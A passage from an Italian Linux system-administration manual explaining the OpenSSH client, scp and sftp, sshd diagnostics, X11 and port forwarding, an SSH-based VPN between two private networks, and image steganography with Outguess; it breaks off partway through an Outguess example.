`PubkeyAuthentication ↵ ↪{yes|no}`	Permette di abilitare o meno l'autenticazione basata sulle chiavi di ogni singolo utente, per quanto riguarda la versione 2 del protocollo. Il valore predefinito è '**`yes`**' che consente questa forma di autenticazione.

`StrictModes {yes|no}`	Se attivato, fa in modo che '**sshd**' verifichi la proprietà dei file di configurazione nelle directory personali degli utenti, rifiutando di considerare i file appartenenti a utenti «sbagliati» o con permessi non appropriati. Ciò permette di ridurre i rischi di intrusione e alterazione della configurazione da parte di terzi che potrebbero sfruttare le dimenticanze degli utenti inesperti per sostituirsi a loro. Il valore predefinito è '**yes**'.

49.7.8 Cliente OpenSSH

Il programma usato come cliente per le connessioni con OpenSSH è '**ssh**', il quale emula il comportamento del suo predecessore, '**rsh**', almeno per ciò che riguarda la sintassi fondamentale. A fianco di '**ssh**' ci sono anche '**scp**' e '**sftp**' per facilitare le operazioni di copia tra elaboratori.

Il programma '**ssh**' richiede una configurazione che può essere fornita in modo globale a tutto il sistema, attraverso il file '`/etc/ssh/ssh_config`' e in modo particolare per ogni utente, attraverso il file '`~/.ssh/config`'.

Il modello sintattico per l'utilizzo di '**ssh**', si esprime semplicemente nel modo seguente:

ssh [***opzioni***] ***nodo*** [***comando***]

L'utente può essere riconosciuto nel sistema remoto attraverso uno tra diversi tipi di autenticazione, a seconda delle reciproche configurazioni; al termine dell'autenticazione, l'utente ottiene una shell oppure l'esecuzione del comando fornito come ultimo argomento (come si vede dalla sintassi).

Tabella 49.98. Alcune opzioni di uso più frequente.

Opzione	Descrizione
`-l` ***utente***	Permette di richiedere l'accesso utilizzando il nominativo-utente indicato nell'argomento. Diversamente, si intende accedere con lo stesso nominativo usato nel cliente dal quale si utilizza '**ssh**'.
`-i` ***file_di_identificazione***	Permette di fare utilizzare a '**ssh**' una chiave di identificazione personale diversa da quella contenuta nel file standard, ovvero '`~/.ssh/id*`' (e poi anche '`~/.ssh/id*.pub`'). Si deve indicare solo il nome della chiave privata, intendendo che il nome del file contenente la chiave pubblica si ottiene con l'aggiunta dell'estensione '`.pub`'.
`-1`	Richiede espressamente l'uso del protocollo nella versione 1.
`-2`	Richiede espressamente l'uso del protocollo nella versione 2.
`-4`	Utilizza indirizzi IPv4.
`-6`	Utilizza indirizzi IPv6.

Seguono alcuni esempi di utilizzo di '**ssh**'.

• `$ ssh -l tizio roggen.brot.dg` [*Invio*]

  Accede all'elaboratore *roggen.brot.dg*, utilizzando lì il nominativo-utente '**tizio**'.

• `$ ssh -l tizio roggen.brot.dg ls -l /tmp` [*Invio*]

  Esegue il comando '**ls -l /tmp**' nell'elaboratore *roggen.brot.dg*, utilizzando lì il nominativo-utente '**tizio**'.

• `$ ssh -l tizio roggen.brot.dg` ↩
  ↪ `tar czf - /home/tizio > backup.tar.gz` [*Invio*]

  Esegue la copia di sicurezza, con l'ausilio di '**tar**' e '**gzip**' ('**tar**' con l'opzione '**z**'), della directory personale dell'utente '**tizio**' nell'elaboratore remoto. L'operazione genera il file 'backup.tar.gz' nella directory corrente dell'elaboratore locale.

A proposito dell'esempio con cui si esegue una copia di sicurezza attraverso la rete, è bene sottolineare che il file generato, contiene dei caratteri aggiuntivi oltre la fine del file. Ciò può causare delle segnalazioni di errore quando si estrae il file compresso, ma il contenuto dell'archivio dovrebbe risultare intatto.

La configurazione di '**ssh**' può essere gestita globalmente attraverso il file '/etc/ssh/ssh_config' e singolarmente attraverso '~/.ssh/config'.

Il file può contenere righe di commento, evidenziate dal simbolo '**#**' iniziale, righe vuote (che vengono ignorate) e righe contenenti direttive, composte da coppie ***nome valore***, oppure ***nome*=*valore***.

In questi file di configurazione possono essere distinte diverse sezioni, riferite a gruppi di nodi. Ciò si ottiene attraverso la direttiva '**Host** ***modelli***', in cui, anche attraverso i metacaratteri '*****' e '**?**', si indicano i nodi a cui sono riferite le direttive successive, fino alla prossima direttiva '**Host**'.

Quello che segue è il file '/etc/ssh/ssh_config' tipico, tutto commentato, ma utile ugualmente per comprenderne il funzionamento.

```
# Host *
#   ForwardAgent no
#   ForwardX11 no
#   RhostsAuthentication no
#   RhostsRSAAuthentication yes
#   RSAAuthentication yes
#   PasswordAuthentication yes
#   FallBackToRsh no
#   UseRsh no
#   BatchMode no
#   CheckHostIP yes
#   StrictHostKeyChecking yes
#   IdentityFile ~/.ssh/identity
#   IdentityFile ~/.ssh/id_dsa
#   IdentityFile ~/.ssh/id_rsa
#   Port 22
#   Protocol 2,1
#   Cipher blowfish
```

```
#   EscapeChar ~
```

Anche in questo caso, si deve ricordare che i nomi usati nelle direttive sono sensibili alla differenza tra maiuscole e minuscole.

Tabella 49.100. Alcune direttive.

Direttiva	Descrizione
`Cipher {des|3des|blowfish|none}`	Permette di indicare il tipo di cifratura preferita per il protocollo della versione 1. Se si specifica il tipo '**`none`**' si intende di non volere alcun tipo di cifratura, cosa utile solo a scopo di analisi diagnostica.
`Ciphers` ***tipo_cifratura*** [***, tipo_cifratura***]...	Consente di indicare un elenco di cifrature utilizzabili per il protocollo della versione 2.
`Compression {yes|no}`	Se attivato, permette di utilizzare una comunicazione di dati compressa, in modo da migliorare il rendimento di una connessione lenta. Il valore predefinito è '**`no`**'.
`IdentityFile` ***file***	Permette di indicare il file contenente la chiave privata dell'utente, in alternativa a quello standard. Questa direttiva si può usare anche più volte, per fare riferimento a coppie di chiavi distinte per i vari tipi di protocolli.

`Protocol` ***n*** [***, m***]...
`RhostsAuthentication {yes|no}`
`RhostsRSAAuthentication {yes|no}`
`RSAAuthentication {yes|no}`
`PubkeyAuthentication {yes|no}`
`PasswordAuthentication {yes|no}`
	Queste direttive hanno lo stesso significato e utilizzo di quelle corrispondenti alla configurazione del servente.

`StrictHostKeyChecking {yes|no|ask}`	Se attivato, fa in modo che le chiavi pubbliche dei serventi contattati non possano essere aggiunte automaticamente nell'elenco personale, il file '`~/.ssh/known_hosts`', impedendo la connessione a nodi sconosciuti o irriconoscibili. Il valore predefinito è '**`ask`**', con cui si chiede all'utente come comportarsi.
`User` ***utente***	Permette di indicare l'utente da utilizzare nella connessione remota. Ciò è particolarmente utile nella configurazione personalizzata, in cui si potrebbe specificare l'utente giusto per ogni nodo presso cui si ha accesso.

Per copiare dei file in modo cifrato, si può usare '**`scp`**', il quale si avvale di '**`ssh`**' in modo trasparente:

```
scp [opzioni] [[utente@]nodo:]origine... [[utente@]nodo:]destinazione
```

Il principio di funzionamento è lo stesso della copia normale, con la differenza che i percorsi per identificare i file e le directory, sono composti con l'indicazione dell'utente e del nodo. Nella tabella successiva vengono descritte alcune opzioni.

Tabella 49.101. Alcune opzioni.

Opzione	Descrizione
`-p`	Fa in modo che gli attributi originali dei file vengano rispettati il più possibile nella copia.
`-r`	Permette la copia ricorsiva delle directory.
`-1`	Richiede espressamente l'uso del protocollo nella versione 1.
`-2`	Richiede espressamente l'uso del protocollo nella versione 2.
`-4`	Utilizza indirizzi IPv4.
`-6`	Utilizza indirizzi IPv6.

Seguono alcuni esempi.

- `$ scp tizio@roggen.brot.dg:/etc/profile .` [*Invio*]

  Copia il file '`/etc/profile`' dall'elaboratore *roggen.brot.dg* utilizzando il nominativo-utente '**tizio**', nella directory corrente dell'elaboratore locale.

- `$ scp -r tizio@roggen.brot.dg:/home/tizio/ .` [*Invio*]

  Copia tutta la directory '`/home/tizio/`' dall'elaboratore *roggen.brot.dg* utilizzando il nominativo-utente '**tizio**', nella directory corrente dell'elaboratore locale.

Quando si richiede un trasferimento di file più complesso e '**scp**' si mostra scomodo per i propri fini, si può optare per '**sftp**', il quale si comporta in modo simile a un programma cliente per il protocollo FTP, ma si avvale invece di un servente SSH compatibile con questa estensione.

Il servente OpenSSH può accettare connessioni attraverso '**sftp**' solo se nella sua configurazione è prevista tale gestione. Precisamente, nel file '`/etc/ssh/sshd_config`' deve essere presente la direttiva seguente:

```
Subsystem       sftp    /usr/lib/sftp-server
```

In pratica, per la gestione di questa funzionalità particolare, il demone '**sshd**' si avvale di un programma di appoggio, corrispondente a '**sftp-server**'.

La sintassi per l'utilizzo di '**`sftp`**' si articola in diverse forme differenti:

```
sftp [opzioni] nodo
```

```
sftp [utente]@nodo
```

```
sftp [utente]@nodo:file...
```

```
sftp [utente]@nodo:directory
```

In pratica, si può avviare '**`sftp`**' con l'indicazione di un nodo, assieme a delle opzioni eventuali; oppure si saltano le opzioni e si indicano dei file che si vogliono prelevare; infine si può indicare una directory di partenza che si vuole aprire immediatamente presso il nodo remoto, per i comandi da impartire successivamente in modo interattivo.

In generale, il comportamento di '**`sftp`**' è molto simile a quello di un cliente FTP tradizionale, con la differenza che la comunicazione avviene in modo cifrato (si veda eventualmente il capitolo 44). La tabella 49.102 elenca alcuni comandi che vengono utilizzati durante il funzionamento interattivo di '**`sftp`**'. Per altre informazioni, si può consultare la pagina di manuale *sftp(1)*.

Tabella 49.102. Alcuni comandi interattivi di '**`sftp`**'.

Comando	Descrizione
`bye` `quit`	I comandi '**`bye`**' e '**`quit`**' sono sinonimi e hanno lo scopo di terminare il collegamento e l'attività di '**`sftp`**'.
`help` `?`	Elenca i comandi disponibili.
`cd` [*directory_remota*]	Cambia la directory corrente nel sistema remoto.
`ls` [`-l`] [*directory_remota*]	Elenca il contenuto della directory remota specificata, oppure di quella corrente se non viene indicata.
`chmod` *permessi* *file_remoto*	Cambia i permessi sul file remoto.
`chown` *utente* *file_remoto*	Cambia l'utente proprietario del file remoto indicato.
`chgrp` *gruppo* *file_remoto*	Cambia il gruppo abbinato al file remoto indicato.
`mkdir` *directory_remota*	Crea una directory nel sistema remoto.
`pwd`	Visualizza il nome della directory corrente del sistema remoto.

Comando	Descrizione
`ln` ***percorso_esistente collegamento_da_creare***	Crea un collegamento simbolico presso il sistema remoto.
`rename` ***nome_originale nome_nuovo***	Cambia il nome o sposta un file presso il sistema remoto.
`rm` ***file_remoto***	Cancella il file indicato presso il sistema remoto.
`rmdir` ***directory_remota***	Elimina la directory indicata presso il sistema remoto.
`lcd` [***directory_locale***]	Cambia la directory corrente nel sistema locale.
`lls` [`-l`] [***directory_locale***]	Elenca il contenuto della directory locale specificata, oppure di quella corrente se non viene indicata.
`lmkdir` ***directory_locale***	Crea una directory nel sistema locale.
`lpwd`	Visualizza il nome della directory corrente del sistema locale.
`!` [***comando*** [***argomenti***]]	Avvia una shell sull'elaboratore locale, oppure esegue localmente il comando indicato con gli argomenti che gli vengono forniti.
`get` [`-P`] ***file_remoto*** [***file_locale***]	Riceve il file remoto indicato, eventualmente rinominandolo come indicato. Se si usa l'opzione '**`-P`**', vengono preservati i permessi originali.
`put` [`-P`] ***file_locale*** [***file_remoto***]	Invia il file locale indicato, eventualmente rinominandolo come indicato. Se si usa l'opzione '**`-P`**', vengono preservati i permessi originali.

49.7.9 Verifica del funzionamento di un servente OpenSSH

In condizioni normali, la configurazione tipica di OpenSSH consente delle connessioni dove il riconoscimento degli utenti avviene attraverso l'inserimento della parola d'ordine. Per ragioni di sicurezza, le forme di autenticazione «RHOST», ovvero quelle basate sull'uso dei file '`/etc/hosts.equiv`', '`/etc/shosts.equiv`', '`~/.rhosts`' e '`~/.shosts`', sono disabilitate.

Di solito, l'autenticazione basata sulla verifica della chiave pubblica è abilitata, ma si richiede che i permessi e la proprietà dei file relativi siano coerenti per il contesto a cui si riferiscono.

In generale, è bene evitare le forme di autenticazione RHOST, anche quando sono mediate dal riconoscimento concorrente della chiave pubblica; pertanto, se è necessario accedere senza l'indicazione di una parola d'ordine, il modo più corretto rimane quello del riconoscimento della chiave, senza altre interferenze.

Spesso, quando si cerca di realizzare una connessione senza bisogno di inserire la parola d'ordine, si incappa in qualche problema che impedisce di ottenere il risultato. Per scoprire dove sia il problema, è necessario avviare il demone '**`sshd`**' in modalità diagnostica, per seguire una connessione singola e vedere cosa succede veramente:

```
# sshd -e -d 2>&1 | less [Invio]
```

All'avvio, ciò che si ottiene sono i messaggi relativi allo stato della configurazione. Per esempio:

```
debug1: Seeding random number generator
debug1: sshd version OpenSSH_3.0.2p1 Debian 1:3.0.2p1-9
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
```

Se dal nodo *dinkel.brot.dg* l'utente '**tizio**' tenta di collegarsi, si può leggere, in particolare, l'estratto seguente:

```
Connection from 192.168.1.1 port 32773
…
debug1: trying public key file /home/tizio/.ssh/authorized_keys
debug1: matching key found: file /home/tizio/.ssh/authorized_keys, line 3
…
debug1: ssh_rsa_verify: signature correct
Accepted publickey for tizio from 192.168.1.1 port 32773 ssh2
debug1: Entering interactive session for SSH2.
```

In questo caso si evidenzia un'autenticazione basata sul riconoscimento della chiave pubblica. Ecco cosa potrebbe succedere invece se i permessi non vengono ritenuti adeguati:

```
debug1: trying public key file /home/tizio/.ssh/authorized_keys
Authentication refused: bad ownership or modes for directory /home/tizio
```

In questo caso, l'autenticazione basata sul riconoscimento della chiave pubblica, non funziona perché la directory personale dell'utente consente la scrittura al gruppo, pertanto si ricade nella solita autenticazione per mezzo della parola d'ordine.

49.7.10 X in un tunnel OpenSSH

OpenSSH è configurato in modo predefinito per gestire automaticamente le connessioni di X. Per comprenderlo è meglio fare subito un esempio pratico. Si immagini di avere avviato X sul proprio elaboratore locale e di avere aperto una finestra di terminale con la quale si effettua una connessione presso un sistema remoto, attraverso '**ssh**'. Dopo avere stabilito la connessione, si vuole avviare su quel sistema un programma che utilizza il servente grafico locale: basta avviarlo e tutto funziona, semplicemente, all'interno di un tunnel cifrato di OpenSSH.

Il meccanismo attuato da OpenSSH per arrivare a questo risultato è molto complesso, garantendo il funzionamento della connessione anche se le autorizzazioni per l'accesso al servente grafico locale non sono state concesse al sistema remoto.

Nel momento in cui si accede al sistema remoto attraverso '**ssh**' da una finestra di terminale di X, la controparte nel sistema remoto, cioè '**sshd**', genera o aggiorna il file '~/.Xauthority' nel profilo personale dell'utente utilizzato per accedere, attraverso il proprio canale privilegiato. Se dopo la connessione si prova a visualizzare il contenuto della variabile ***DISPLAY***, si dovrebbe osservare che viene indicato uno schermo speciale nel sistema remoto. Si osservi l'esempio:

tizio@dinkel.brot.dg:~$ **ssh -l caio roggen.brot.dg** [*Invio*]

caio's password: ********* [*Invio*]

In questo modo, l'utente '**tizio**' che si trova presso il nodo *dinkel.brot.dg*, cerca di accedere a *roggen.brot.dg*, utilizzando lì il nominativo-utente '**caio**'. La prima volta che lo fa ottiene la creazione del file '~/.Xauthority' nel sistema remoto, come mostrato qui sotto:

```
/usr/X11/bin/xauth: creating new authority file /home/caio/.Xauthority
```

caio@roggen.brot.dg:~$ **echo $DISPLAY** [*Invio*]

```
roggen.brot.dg:10.0
```

Contrariamente al solito, lo schermo sembra essere collocato presso il sistema remoto, proprio perché è OpenSSH a gestire tutto. In questo modo però, non contano più le autorizzazioni o i divieti fatti attraverso la gestione normale di X. Inoltre, dal momento che la connessione di X è incapsulata nel protocollo SSH, non valgono più eventuali restrizioni poste nei router per impedire l'utilizzo di tale protocollo.

La connessione instaurata attraverso OpenSSH garantisce che la comunicazione riferita alla gestione del servente grafico sia protetta, risolvendo la maggior parte dei problemi di sicurezza derivati dall'uso di X attraverso la rete. Tuttavia, questo non garantisce che il sistema sia completamente sicuro, dal momento che un aggressore potrebbe collocarsi nel nodo remoto e da lì sfruttare il tunnel predisposto proprio da OpenSSH, come documentato in *The interaction between SSH and X11*, di Ulrich Flegel.

A questo punto, si potrebbe ritenere conveniente di vietare in ogni caso l'utilizzo delle applicazioni per X attraverso la rete, ma dal momento che OpenSSH scavalca i sistemi tradizionali, occorre configurare proprio OpenSSH per questo. In generale, se è questa l'intenzione, si agisce nel file '/etc/ssh/sshd_config', con la direttiva '**X11Forwarding**', in modo che '**sshd**' non si presti alla gestione di X nel modo descritto:

```
...
X11Forwarding no
...
```

Eventualmente, lo stesso utente può impedirsi di usare X attraverso OpenSSH, intervenendo nel file '~/.ssh/config' con la direttiva '**ForwardX11**':

```
...
ForwardX11 no
...
```

49.7.11 Creazione di un tunnel cifrato generico con OpenSSH

Il cliente OpenSSH è in grado di realizzare un tunnel cifrato tra due elaboratori, attraverso una tecnica chiamata *port forwarding*. In pratica si apre una connessione SSH normale, con o senza l'attivazione di una shell remota, nella quale si inserisce una comunicazione aggiuntiva che collega una porta remota con una porta locale. L'esempio seguente dovrebbe servire per comprendere la tecnica:

1. `tizio@roggen.brot.dg:~$` **`ssh -N -L 9090:dinkel.brot.dg:80`** ↩
↪ **`caio@dinkel.brot.dg`** [*Invio*]

   l'utente '**`tizio`**' presso l'elaboratore *`roggen.brot.dg`* si collega all'elaboratore *`dinkel.brot.dg`*, con l'utenza '**`caio`**', per aprire un tunnel tra *`dinkel.brot.dg:80`* e *`roggen.brot.dg:9090`*;

2. [*Ctrl z*]

   `tizio@roggen.brot.dg:~$` **`bg`** [*Invio*]

   dopo essersi identificato presso l'elaboratore remoto, sospende l'esecuzione del programma e quindi lo riattiva sullo sfondo;

3. `tizio@roggen.brot.dg:~$` **`links http://localhost:9090`** [*Invio*]

   A questo punto si può visitare il sito *`http://dinkel.brot.dg:80`* utilizzando invece l'indirizzo *`http://localhost:9090`*, garantendo che la comunicazione tra l'elaboratore locale (*`roggen.brot.dg`*) e *`dinkel.brot.dg`* avvenga in modo cifrato.

Tabella 49.110. Opzioni di '**`ssh`**' specifiche per la realizzazione di un tunnel tra l'elaboratore locale e un nodo remoto, dove sia disponibile un servente OpenSSH attivo.

Opzione	Descrizione
`-N`	Non esegue un comando presso l'elaboratore remoto.
`-L` ***porta_locale*** **:** ***nodo_remoto*** **:** ***porta_remota*** `-L` ***porta_locale*** **/** ***nodo_remoto*** **/** ***porta_remota***	Apre la porta locale indicata e ritrasmette le comunicazioni con questa porta alla porta dell'elaboratore remoto indicato. Se si apre localmente una porta privilegiata, occorre agire in qualità di utente '**`root`**' nell'elaboratore locale. La prima notazione riguarda IPv4, mentre la seconda riguarda IPv6.
`-R` ***porta_remota*** **:** ***nodo_locale*** **:** ***porta_locale*** `-R` ***porta_remota*** **/** ***nodo_locale*** **/** ***porta_locale***	Apre la porta remota indicata e ritrasmette le comunicazioni con questa porta a quella dell'elaboratore locale indicato. Se si apre una porta privilegiata remota, occorre agire in qualità di utente '**`root`**' nell'elaboratore remoto. La prima notazione riguarda IPv4, mentre la seconda riguarda IPv6.

49.7.12 Installazione

L'installazione di OpenSSH è semplice: si deve predisporre la chiave del nodo, come già descritto più volte; quindi, se si vogliono accettare connessioni, basta avviare il demone '**`sshd`**', possibilmente attraverso uno script della procedura di inizializzazione del sistema.

La configurazione è facoltativa e deve essere fatta solo se si desiderano inserire forme particolari di limitazioni (come nel caso del divieto dell'inoltro di X), oppure se si vuole concedere l'autenticazione RHOST (cosa che è meglio non fare).

Alcune versioni precompilate di OpenSSH sono organizzate in modo da utilizzare la directory '`/etc/ssh/`' per il file di configurazione del sistema (come è stato mostrato qui); altre mettono direttamente tali file nella directory '`/etc/`'.

49.8 VPN attraverso OpenSSH

In un sistema GNU/Linux, con l'ausilio di OpenSSH, è possibile creare un tunnel cifrato per collegare tra loro due reti private, attraverso Internet. La creazione del tunnel implica la definizione di un'interfaccia di rete virtuale che viene configurata convenientemente, come se fosse un'interfaccia reale, attraverso una rete fisica.

A titolo di esempio, si prendano due reti private separate, come quelle dello schema seguente:

A sinistra si vede una rete locale con indirizzi 172.17.0.0/16, mentre a destra appare un'altra rete locale con indirizzi 172.21.0.0/16. La rete di destra accede a Internet attraverso un elaboratore che svolge il compito di router, avendo all'esterno un indirizzo IPv4 statico raggiungibile (1.2.3.4); la rete a sinistra, invece, ha un router, il quale però è isolato da un firewall (che in più trasforma anche gli indirizzi).

Fortunatamente, dalla rete di sinistra è possibile accedere all'elaboratore 1.2.3.4 attraverso il protocollo SSH. Pertanto, dalla rete di sinistra, è possibile attivare un tunnel SSH:

Si suppone che la creazione del tunnel produca l'apparizione, rispettivamente dell'interfaccia di rete virtuale '**`tun1`**' e '**`tun0`**'. Queste interfacce vengono configurate, da una parte e dall'altra, con l'aggiunta di instradamenti appropriati:

ifconfig tun1 172.17.254.21 pointopoint 172.21.254.17

route add –net 172.21.0.0 netmask 255.255.0.0 gw 172.21.254.17

ifconfig tun0 172.21.254.17 pointopoint 172.17.254.21

route add –net 172.17.0.0 netmask 255.255.0.0 gw 172.17.254.21

49.8.1 Configurazione e opzioni significative

OpenSSH, dal lato servente (dalla parte che deve ricevere la richiesta di connessione), ovvero nel lato destro degli esempi mostrati, deve essere configurato in modo da accettare la creazione di un tunnel. Per questo occorre verificare che nel file '/etc/ssh/sshd_config' ci sia la direttiva seguente:

```
...
PermitTunnel point-to-point
...
```

Inoltre, considerato che il tunnel deve attraversare un NAT (un sistema di trasformazione degli indirizzi), è necessario che ci sia un minimo di scambio di pacchetti, anche se privi di utilità, per evitare che la connessione venga abbattuta (dimenticata) dal NAT stesso. Per questo si possono usare delle opzioni nella riga di comando di '**ssh**', in modo da mantenere attivo il collegamento.

Tabella 49.115. Opzioni utili nell'uso di '**ssh**' quando si vuole stabilire un tunnel cifrato.

Opzione	Descrizione
`-C`	Richiede che i dati trasmessi siano compressi, per ridurre l'utilizzo di banda.
`-f`	Richiede che il programma si metta a lavorare sullo sfondo, ma solo prima dell'esecuzione del comando, in modo da consentire, eventualmente, l'inserimento di una parola d'ordine.
`-o ServerAliveInterval` ***n***	Richiede che ogni ***n*** secondi di inattività, venga inviato un pacchetto di richiesta di attenzione al servente, attraverso il canale cifrato.
`-o ServerAliveCountMax` ***n***	Dopo ***n*** tentativi falliti di ottenere una risposta dal servente, la connessione viene abbattuta.
`-w` ***tun_loc*** **:** ***tun_rem***	Stabilisce i nomi delle interfacce di rete virtuali da creare, presso l'elaboratore locale e presso quello remoto. I nomi devono essere compatibili con il sistema operativo e non devono essere già in uso per altri tunnel.

49.8.2 Attivazione del tunnel dal lato «cliente»

Dal lato cliente (la parte sinistra degli esempi mostrati), si attiva il tunnel contando di poter creare l'interfaccia '**tun1**' e '**tun0**' rispettivamente:

```
# ssh -o "ServerAliveInterval 1" ↩
↪    -o "ServerAliveCountMax 700" ↩
↪    -f ↩
↪    -w tun1:0↩
↪    1.2.3.4 true [Invio]
```

Come si può vedere, il tunnel viene creato collegandosi con l'indirizzo IPv4 1.2.3.4, il quale deve essere raggiungibile attraverso Internet; inoltre, è necessario dare un comando, per quanto inutile (in questo caso si tratta di '**true**'). Eventualmente viene richiesto di inserire la parola d'ordine:

root@1.2.3.4's password: ***digitazione_all'oscuro*** [Invio]

Si può poi controllare l'esistenza dell'interfaccia '**tun0**':

```
# ifconfig tun1 [Invio]
```

```
tun1  Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
      UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
      RX packets:0 errors:0 dropped:0 overruns:0 frame:0
      TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:500
      RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
```

Quindi si può configurare l'interfaccia e gli instradamenti:

```
# ifconfig tun1 172.17.254.21 pointopoint 172.21.254.17 [Invio]
```

```
# route add -net 172.21.0.0 netmask 255.255.0.0 gw 172.21.254.17 [Invio]
```

49.8.3 Configurazione dal lato «servente»

Dal lato servente, ovvero nel lato destro degli schemi di esempio mostrati, dopo che il tunnel è stato creato, è sufficiente configurare l'interfaccia e gli instradamenti:

```
# ifconfig tun0 172.21.254.17 pointopoint 172.17.254.21 [Invio]
```

```
# route add -net 172.17.0.0 netmask 255.255.0.0 gw 172.17.254.21 [Invio]
```

49.8.4 Autenticazione automatica

Se per qualche ragione la connessione del tunnel viene abbattuta, gli esempi mostrati non sono sufficienti a ricreare il tunnel stesso. Evidentemente, da entrambe le parti, si rende necessario uno script, che, periodicamente, controlli se è attivo o se deve essere ristabilito il collegamento. Tuttavia, per automatizzare la connessione dal lato cliente, è necessario che l'autenticazione avvenga attraverso l'autorizzazione della chiave pubblica. Sinteticamente, occorre procedere come segue.

Dal lato cliente, l'utente '**root**' deve disporre di una coppia di chiavi RSA (dove la chiave privata non deve essere cifrata) che può essere creata così:

```
# ssh-keygen -t rsa -N "" -f /root/.ssh/id_rsa [Invio]
```

Così facendo, nella directory '`/root/.ssh/`' si devono ottenere i file '`id_rsa`' (chiave privata) e '`id_rsa.pub`' (chiave pubblica). Il file '`id_rsa.pub`', contenente la chiave pubblica, dovrebbe essere composto da una riga simile a quella seguente:

```
ssh-rsa AAAAB3NzaC1yc2EAAA...IwAApObsDc1WtKtt20= root@localhost
```

A questo punto, dal lato servente, l'utente '**root**' deve dichiarare valido l'accesso da parte di chi è in grado di cifrare qualcosa che può essere decifrato con quella tale chiave pubblica. Ma, seguendo gli esempi mostrati, si pone un problema nuovo: occorre conoscere con quale indirizzo IPv4 si presenta la connessione.

Supponendo che il firewall del lato sinistro disponga di un indirizzo IPv4 statico, corrispondente a 2.3.4.5, nel file '`/root/.ssh/authorized_keys`' del lato servente occorre aggiungere la riga seguente:

```
from="2.3.4.5" ssh-rsa AAAAB3NzaC1yc2EA...ObsDc1WtKtt20= root@localhost
```

Naturalmente, anche il file '`/etc/ssh/sshd_config`' del lato servente deve essere redatto in modo tale da consentire un accesso di questo tipo:

```
...
PermitRootLogin yes
RSAAuthentication yes
PubkeyAuthentication yes
...
```

49.9 Steganografia

La ***steganografia*** è un metodo per nascondere delle informazioni all'interno di qualcosa. Nel concetto di steganografia rientra per esempio l'uso dell'inchiostro simpatico. Nel campo delle informazioni digitali, la steganografia avviene frequentemente attraverso la modifica delle immagini, in modo tale da rendere impercettibile la differenza apportata dall'inserimento dell'informazione addizionale.

L'informazione nascosta attraverso la steganografia richiede spazio; evidentemente, rispetto all'informazione apparente che veicola il messaggio nascosto, l'informazione addizionale può essere solo di entità minore. In questo caso si parla di ***portante*** per individuare l'informazione apparente che nasconde quella steganografata.

Nel campo delle immagini digitali, la steganografia si utilizza anche per marchiare i file, con informazioni che contengono i dati sul diritto di autore; in tal caso si parla di ***filigrana*** (*watermark*). Si osservi comunque che l'inserimento di una filigrana all'interno di un file contenente un'immagine, non dimostra la paternità dell'opera; al massimo può dimostrare chi ha eseguito il marchio. Pertanto, di fatto, la filigrana «protegge» l'opera in quanto toglierla comporta normalmente una riduzione della qualità, così che probabilmente solo il suo autore o chi ne possiede i diritti è in grado di fornire un'immagine della qualità originale.

49.9.1 Tecniche steganografiche

Le tecniche attraverso cui si realizza la steganografia sono varie e possibilmente sconosciute. Quando la tecnica steganografica è nota, ma soprattutto è noto l'algoritmo usato per inserire le informazioni nella portante, di solito i dati da nascondere sono cifrati, salvo il caso della filigrana in cui l'intento può essere proprio quello di rendere evidente l'informazione.

Nel caso delle immagini, se la portante è costituita da un file in formato grezzo, o comunque non compresso (come può essere il formato PNM o il TIFF), l'informazione può avvenire modificando alcuni bit meno significativi che descrivono il colore di ogni punto grafico (*pixel*). Quando invece l'immagine è costituita da un file in un formato compresso (con perdita di informazioni), la steganografia può sfruttare le caratteristiche dell'algoritmo di compressione stesso per celare le proprie informazioni (la scelta di comprimere in un modo rispetto a un altro determina l'informazione aggiuntiva).

Si possono nascondere delle informazioni in un programma eseguibile, quando esiste la possibilità di sostituire delle istruzioni con altre equivalenti, sfruttando così queste variazioni per inserire delle informazioni. Naturalmente ci possono essere altre possibilità, in base alle caratteristiche del formato eseguibile da utilizzare; quello che conta è che le modifiche al file per introdurre le informazioni steganografiche non interferiscano con il funzionamento del programma stesso.

È possibile usare un file di testo puro per inserire un'informazione addizionale «invisibile», modificando la spaziatura ed eventualmente la punteggiatura. Si può arrivare anche alla sostituzione di parole, attraverso un vocabolario di sinonimi.

Qualunque sia il metodo usato per la steganografia, spesso si richiede che l'informazione aggiunta sia ridondante in qualche modo, per poterla ricostruire in caso di un danneggiamento parziale.

49.9.2 Outguess

Outguess[21] è un programma per la steganografia elettronica in generale, per il quale possono essere scritte delle estensioni relative a diversi tipi di informazioni. Tuttavia, inizialmente è possibile utilizzare soltanto alcuni formati di immagini per inserire informazioni steganografate:

```
outguess [opzioni] file_portante_originale file_steganografato
```

```
outguess -r [opzioni] file_steganografato file_informazione_segreta
```

Il modello sintattico da un'idea di massima dell'utilizzo dell'eseguibile '**`outguess`**': in condizioni normali si inserisce un'informazione segreta, creando così un file steganografato; se si usa l'opzione '**`-r`**', si estrae l'informazione segreta da un file già steganografato in precedenza.

Outguess ha la capacità di inserire due informazioni steganografiche sovrapposte; inoltre, dal momento che l'algoritmo steganografico è noto, le informazioni possono essere cifrate.

Tabella 49.121. Alcune opzioni.

Opzione	Descrizione
`-k` ***chiave*** `-K`***chiave***	Specifica la chiave (la parola d'ordine) da usare per cifrare o decifrare l'informazione segreta. Nel secondo caso si fa riferimento alla seconda informazione incorporata o da incorporare.
`-d` ***file*** `-D` ***file***	Specifica il file contenente i dati da nascondere all'interno di un altro. Nel secondo caso, si tratta del secondo file da inserire.
`-e` `-E`	Con questa opzione si richiede di aggiungere delle ridondanze all'informazione nascosta, in modo da poterla recuperare anche in presenza di qualche piccolo errore nell'informazione portante. Nel secondo caso, si fa riferimento al secondo file da nascondere.
`-r`	Richiede l'estrazione delle informazioni nascoste.

Segue la descrizione di alcuni esempi.

- `$` **`outguess -d foglio.xls danza.jpg danza-steg.jpg`** [*Invio*]

  Con questo comando si vuole utilizzare il file '`danza.jpg`' per nascondere il file '`foglio.xls`', ottenendo così il file '`danza-steg.jpg`'. Purtroppo, il file portante non ha lo spazio sufficiente per questo:

  ```
  Reading danza.jpg....
  JPEG compression quality set to 75
